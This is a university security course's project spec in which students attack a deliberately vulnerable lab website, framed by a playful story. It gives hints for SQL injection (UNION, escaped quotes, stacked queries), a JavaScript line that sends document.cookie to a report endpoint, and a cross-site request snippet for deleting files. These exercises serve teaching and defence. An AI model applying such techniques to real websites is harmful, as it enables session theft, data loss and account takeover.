Peyrin & Ryan Summer 2020 — CS 161 Computer Security — Project 3

Due: August 10, 2020

Most recent update: July 29, 2020

In this project, you will exploit a poorly made website. This project may be done individually or in groups of two.

In order to aid in immersion, this project has a story. It is just for fun and contains no relevant information about the project.

> We use a shaded box to denote story which is not necessary for completing the project.

> Murmurs of excitement ebb and flow under the cherry blossoms in the streets of Caltopia. UnicornBox, an exceptionally successful startup looking to disrupt the ever-expanding file-sharing space, unveils its bold ambition to IPO at the Caltopian Stock Exchange. To unsuspecting eyes, there is not a shred of doubt that its valuation will engrave itself in history as the largest IPO to date.
>
> But behind the magnificent flair of crowded press conferences and preemptive celebrations, a specter of Calnet haunts Caltopian minds. A rumor, nonchalantly dismissed as a baseless smear campaign by a UnicornBox spokesperson, grabs the full attention of UC Berkeley's computer security students who are already wary of UnicornBox's theft of their secure file storage implementation. Could the project UNICORN BOX (UNIversal Centralized Online Regulatory Network BOX) be yet another attempt by the Caltopian emperor to once again deny internet freedom to Caltopia, enabling massive data surveillance masked as the innovation of the century?
>
> UnicornBox did not anticipate that their decision to invite EvanBot, an enlightened and virtuous AI with great skills in computer security, as the company mascot would backfire. Leveraging its position as an honorary employee, EvanBot obtains access to the UnicornBox internal server and verifies the rumor. Not only that, it discovers that the mammoth network surveillance device is not without its own flaws. As EvanBot identifies vulnerabilities of UnicornBox and starts writing working exploits, an antivirus software swoops in and quarantines EvanBot in its home surrounded by an impregnable firewall. EvanBot now awaits its trial, charged for spreading false rumors. Luckily for you, Piazza is EvanBot's home and visitors are still allowed, enabling EvanBot to pass its progress to you and help you with the exploits it attempted to create.
>
> The world calls on you again. You must expose the fatal flaws of UnicornBox. Shut down the IPO and save EvanBot by proving the validity of its claims. Reveal the attempt to steal our prized freedom. Stop UnicornBox just as you stopped Calnet and carry on the battle for our liberty...

Getting started

Your task is to find seven vulnerabilities in the UnicornBox servers. When you successfully execute an exploit, the status entry on your scoreboard will change from 0 to a timestamp, to indicate that you have received a flag. Your goal is to collect all seven flags.

If you are working with a partner, you need to acquire a flag on your own server to receive credit for it.

All your exploits will be done through a web browser. We recommend Firefox or Chrome. To get started, open https://proj3.cs161.org and log in with your Berkeley account.

On this splash page, you can view your progress and reset the server (just in case you break it beyond repair). Note that all the vulnerabilities will be at the vulnerable server https://proj3.cs161.org/site—there are no flags on the splash page.

Writeup

Each group must submit writeup–two pages maximum, please. For each of **flags 3–7 only**, include a brief description (2–3 sentences) of how you acquired the flag, and a suggestion (a line of code or 2–3 sentences) for how to protect against your exploit.

Grading & Deliverables

- 70 points for finding exploits (10 points for each flag). You do not need to submit anything, since flags are automatically registered on the server.
- 30 points for the writeup (6 points for each of flags 3–7). Submit a writeup to Gradescope, and remember to add your partner if you worked with a partner.

Additional notes

- The flags as listed here are not in order of difficulty. Feel free to pursue them in any order you choose.
- To ensure that the server detects all your exploits, please use the users and filenames specified in the spec.
- Resetting the vulnerable server will not clear your scoreboard progress. However, it will reset the SQLite database used by the server and clear all stored files.
- Do not DoS our server. None of the exploits require brute-force.

1 Log in as user `test`

Developers use an account with the username `test` to perform quality assurance testing on UnicornBox. Fortunately for us, they're sloppy and almost definitely haven't cleaned up any leftover comments before releasing UnicornBox. See if you can find a way to get `test`'s password and log in.

Your task: Log in as user `test` through the login page. Note that gaining access to `test`'s accounts through any other means will not satisfy this flag.

2 Change the text of `ip.txt`

The `cs161` user is using UnicornBox to store a file called `ip.txt`. `cs161` is a special-purpose account on UnicornBox that authenticates itself separately from the main login page. You won't be able to log in as `cs161`, but you may still be able to change some of its files.

Your task: Change the contents of `cs161` user's `ip.txt` file to be `161.161.161.161`.

3 Obtain `shomil`'s password hash

The UnicornBox database uses the following table `users` to store its accounts:

```
CREATE TABLE IF NOT EXISTS users (
    id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    username TEXT,
    md5_hash TEXT
);
```

Your task: Steal the password hash for user `shomil`.

Tip: You can execute multiple statements in one line separated by semicolons in SQL, but it will only return the results of the last query if it does not have a semicolon.

```
SELECT '123'; SELECT '456' --returns '456'
SELECT '123'; SELECT '456'; --returns nothing
```

4 Gain access to `nicholas`'s account

UnicornBox uses token-based authentication. The database stores a table that maps session tokens to users:

```
CREATE TABLE IF NOT EXISTS sessions (
    id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    username TEXT,
    token TEXT,
    expires INTEGER
);
```

Whenever an HTTP request is received, the server checks for a `session_token` value in the cookie and looks up the matching username. Note that the query will `SELECT` the both `username` and `expires` fields to make sure this token has not expired. You may find this helpful when crafting your attack.

Your task: Gain access to `nicholas`'s account.

Tip: You may find it helpful to escape single quotes `\'`.

Tip: Consider looking into the `UNION` option in SQL.

Tip: Consider looking into using constants in SQL statements.

5 Leak `cs161`'s session cookie

`cs161` is a special-purpose account on UnicornBox that maintains its session through a mechanism separate from normal users. This means that you won't be able to just leak its token from the database. However, it still has a `session_token` cookie that it sends to the server—see if you can leak its cookie through some other means.

We've set up a `/report` endpoint that receives cookies as a query parameter. A cookie may be submitted at any time using `https://proj3.cs161.org/report?cookie=[THE_COOKIE]`.

Your task: Leak `cs161`'s session cookie.

Tip: You may find this block of JavaScript code useful:

```
fetch('/report?cookie='+document.cookie)
```

Note that there is no semicolon at the end.

6 Create a link that deletes users' files

For convenience, UnicornBox allows you to quickly and easily delete all the files you have in your account, with the click of a single button. As an attempt to remain secure, they have made sure that only POST requests will actually delete the files—GET requests will not succeed. In addition, they have implemented a cross-origin resource sharing (CORS) policy that denies POST requests from any external origin. You will need to be clever about how to generate this link.

Note that this link must work for any logged in user, not just yourself. In other words, you must be able to email or text this link to someone else, and when they click the link, their files are immediately deleted.

Your task: Create a link that deletes user's files. Once you have figured it out, execute the attack on yourself to earn the flag!

Tip: To make a POST Request in JavaScript, use this line of code:

```
fetch('[URL]',{method:'POST'})
```

Note that there is no semicolon at the end.

7 Gain access to the admin panel

UnicornBox has a special panel for administrators. Your final task is to log into the admin panel.

Password authentication for the admin panel is handled separately from the database. However, the administrator does use UnicornBox for day-to-day file storage, so they may also have a normal user account.

Your task: Gain access to the admin panel.

Tip: Consider human factors. Many people reuse passwords.